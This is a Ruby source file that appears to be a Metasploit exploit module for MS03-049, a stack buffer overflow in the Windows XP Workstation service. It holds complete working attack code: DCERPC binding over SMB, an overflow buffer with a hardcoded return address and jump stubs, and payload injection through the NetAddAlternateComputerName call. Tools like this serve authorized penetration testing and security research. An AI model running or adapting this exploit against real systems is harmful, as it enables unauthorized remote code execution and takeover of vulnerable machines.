##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS03-049 Microsoft Workstation Service NetAddAlternateComputerName Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the NetApi32 NetAddAlternateComputerName
        function using the Workstation service in Windows XP.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2003-0812' ],
          [ 'OSVDB', '11461' ],
          [ 'BID', '9011' ],
          [ 'MSB', 'MS03-049' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' =>  "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c" + [*(0x80..0x9f)].pack('C*'),
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'DefaultTarget'  => 0,
      'Targets'        =>
        [
          [ 'Windows XP SP0/SP1',
            {
              'Ret' => 0x71aa32ad # pop/pop/ret in ws2help.dll
            }
          ],
        ],
      'DisclosureDate' => 'Nov 11 2003'))

    register_options(
      [
        OptString.new('SMBPIPE', [ true,  "The pipe name to use (BROWSER, WKSSVC)", 'BROWSER']),
      ], self.class)
  end

  def exploit

    connect()
    smb_login()

    handle = dcerpc_handle(
      '6bffd098-a112-3610-9833-46c3f87e345a', '1.0',
      'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
    )

    print_status("Binding to #{handle} ...")
    dcerpc_bind(handle)
    print_status("Bound to #{handle} ...")

    print_status("Building the stub data...")


    name = rand_text_alphanumeric(5000)
    name[3496, 4] = [target.ret].pack('V')
    name[3492, 2] = "\xeb\x06"
    name[3500, 5] = "\xe9" + [-3505].pack('V')
    name[0, payload.encoded.length] = payload.encoded

    stub =
      NDR.long(rand(0xffffffff)) +
      NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +
      NDR.long(rand(0xffffffff)) +
      NDR.UnicodeConformantVaryingString(name) +
      NDR.long(rand(0xffffffff)) +
      NDR.UnicodeConformantVaryingString('') +
      NDR.long(0) +
      NDR.long(0)

    print_status("Calling the vulnerable function...")

    begin
      dcerpc.call(0x1b, stub)
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
    rescue => e
      if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
        raise e
      end
    end

    # Cleanup
    handler
    disconnect
  end

end
